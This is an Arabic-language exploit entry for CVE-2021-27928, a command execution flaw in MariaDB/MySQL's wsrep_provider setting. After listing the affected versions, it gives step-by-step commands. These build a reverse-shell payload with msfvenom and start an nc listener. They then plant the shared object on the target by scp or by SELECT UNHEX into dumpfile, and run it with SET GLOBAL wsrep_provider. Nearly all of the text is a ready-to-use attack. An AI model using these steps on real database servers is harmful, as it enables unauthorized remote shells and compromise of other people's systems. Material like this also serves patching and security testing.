
CVE-2021-27928 MariaDB/MySQL-'wsrep provider' ثغرة حقن الأوامر
عنوان الثغرة: MariaDB 10.2 /MySQL - تنفيذ أوامر نظام 'wsrep_provider'
التاريخ: 18/03/2021
مؤلف الثغرة: Central InfoSec
الإصدارات المتأثرة:
MariaDB 10.2 قبل 10.2.37
10.3 قبل 10.3.28
10.4 قبل 10.4.18
10.5 قبل 10.5.9
Percona Server حتى 2021-03-03؛ وتصحيح wsrep حتى 2021-03-03 لـ MySQL
تم الاختبار على: Linux
CVE: CVE-2021-27928
الخطوة 1: إنشاء حمولة الـ reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

الخطوة 2: تشغيل مستمع
nc -lnvp <port>

الخطوة 3: نسخ الحمولة إلى الجهاز المستهدف
عبر SCP
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
عبر Dumpfile
python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';
الخطوة 4: تنفيذ الحمولة
mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";
